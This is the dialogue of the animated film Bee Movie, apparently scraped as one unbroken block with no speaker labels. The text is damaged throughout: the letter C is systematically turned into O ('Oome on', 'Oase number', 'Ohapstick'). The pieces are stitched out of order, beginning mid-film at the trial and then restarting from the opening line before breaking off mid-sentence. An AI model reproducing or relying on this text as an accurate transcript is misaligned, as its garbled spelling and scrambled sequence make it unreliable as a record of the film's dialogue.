night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And

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According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I 